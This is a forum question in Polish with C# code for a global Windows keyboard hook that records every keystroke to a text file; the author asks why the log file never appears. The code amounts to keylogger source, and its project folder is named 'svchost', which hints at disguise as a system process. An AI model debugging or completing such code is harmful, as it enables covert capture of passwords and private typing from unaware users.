Próbuję zrobić w programie globalny hak na klawiaturę. Posklejałem trochę kodu z różnych przykładów, próbowałem to analizować krok po kroku, wszystko niby działa a efektu nie ma. Po wciśnięciu button1 ma nastąpić instalacja haka a po button2 deinstalacja. W trakcie wszystko to, co przeleci przez hak ma lądować w pliku tekstowym na dysku C. Niestety ten plik wcale nie powstaje, nie wiem dlaczego. Całość sklejałem w oparciu o to. Oto cały kod:
Najpierw DLL-ka:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.IO;
namespace DLL
{
public class PrzechwytDLL
{
private static char caughtChar;
private static string path = "C:\\plik.txt";
private const byte VK_SHIFT = 0x10;
private const byte VK_CAPITAL = 0x14;
private static bool CapsLockDown;
private static bool ShiftDown;
private const uint WM_KEYDOWN = 0x0100;
[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr
wParam, IntPtr lParam);
[DllImport("user32.dll")]
private static extern int ToAscii(uint uVirtKey, uint uScanCode, byte[]
lpKeyState, ref char lpChar, uint flags);
[DllImport("user32.dll")]
private static extern bool GetKeyboardState(byte[] data);
[DllImport("user32.dll")]
static extern short GetKeyState(int nVirtKey);
private static void SaveChar(char theChar, string where)
{
if (File.Exists(where))
{
using (StreamWriter sw = File.AppendText(where))
{
sw.Write(theChar);
// nowa linia
if (theChar == '\r')
sw.Write('\n');
}
}
else
{
using (StreamWriter sw = File.CreateText(where))
{
sw.Write(theChar);
if (theChar == '\r')
sw.Write('\n');
}
}
}
private static char GetChar(int vkCode)
{
byte[] data = new byte[256];
GetKeyboardState(data);
char myChar = ' ';
uint scan = 0;
ToAscii((uint)vkCode, scan, data, ref myChar, 0);
return myChar;
}
[StructLayout(LayoutKind.Sequential)]
public struct KBDLLHOOKSTRUCT
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
public static IntPtr MonitorFunction(int code, IntPtr wParam, IntPtr lParam)
{
try
{
if (wParam.ToInt64() == WM_KEYDOWN && code >= 0)
{
KBDLLHOOKSTRUCT hookStruct =
(KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
// Shift wciśnięty ??
ShiftDown = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true :
false);
// Tryb pisania dużymi literami włączony ??
CapsLockDown = (GetKeyState(VK_CAPITAL) != 0 ? true : false);
caughtChar = GetChar(hookStruct.vkCode);
if ((CapsLockDown ^ ShiftDown) && Char.IsLetter(caughtChar))
caughtChar = Char.ToUpper(caughtChar);
if ((caughtChar == 0x0d && hookStruct.vkCode == 0x0d) ||
(caughtChar > 0x20 && caughtChar <= 0x7e) ||
(caughtChar == 0x20 && hookStruct.vkCode == 0x20))
SaveChar(caughtChar, path);
}
}
catch { }
return CallNextHookEx(IntPtr.Zero, code, wParam, lParam);
}
}
}
Potem klasa haka:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Reflection;
namespace WindowsFormsApplication1
{
class Hak
{
private delegate IntPtr HookProc(int code, IntPtr wParam, IntPtr lParam);
private static HookProc hookProc;
private IntPtr result;
private const int WH_KEYBOARD_LL = 0x0d;
[DllImport("user32.dll")]
private static extern IntPtr SetWindowsHookEx(int code, HookProc func, IntPtr hInstance, int threadID);
[DllImport("user32.dll")]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("Kernel32.dll")]
private static extern IntPtr GetModuleHandle(string moduleName);
private bool GetHookProc()
{
try
{
string sc = @"E:\Dokumenty\Visual Studio 2010\Projects\svchost\ClassLibrary1\bin\Debug\ClassLibrary1.dll";
Assembly a = Assembly.LoadFrom(sc);
Type[] tab = a.GetExportedTypes();
MethodInfo methodInfo = null;
foreach (Type t in tab)
{
methodInfo = t.GetMethod("MonitorFunction");
if (methodInfo != null)
break;
}
hookProc = (HookProc)Delegate.CreateDelegate(typeof(HookProc), methodInfo);
return true;
}
catch
{
return false;
}
}
public bool InstallHook()
{
try
{
if (GetHookProc())
{
result = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, GetModuleHandle(@"E:\Dokumenty\Visual Studio 2010\Projects\svchost\ClassLibrary1\bin\Debug\ClassLibrary1.dll"), 0);
return true;
}
else
return false;
}
catch
{
return false;
}
}
public void CloseHook()
{
UnhookWindowsHookEx(result);
}
}
}
Na końcu forma:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace WindowsFormsApplication1
{
public partial class Okno : Form
{
private Hak klasaHak = new Hak();
public Okno()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
klasaHak.InstallHook();
}
private void button2_Click(object sender, EventArgs e)
{
klasaHak.CloseHook();
}
}
}
Cały kod wykonuje się prawidłowo, nie ma po drodze żadnych wyjątków ani nic. Problem musi tkwić w tej bibliotece DLL.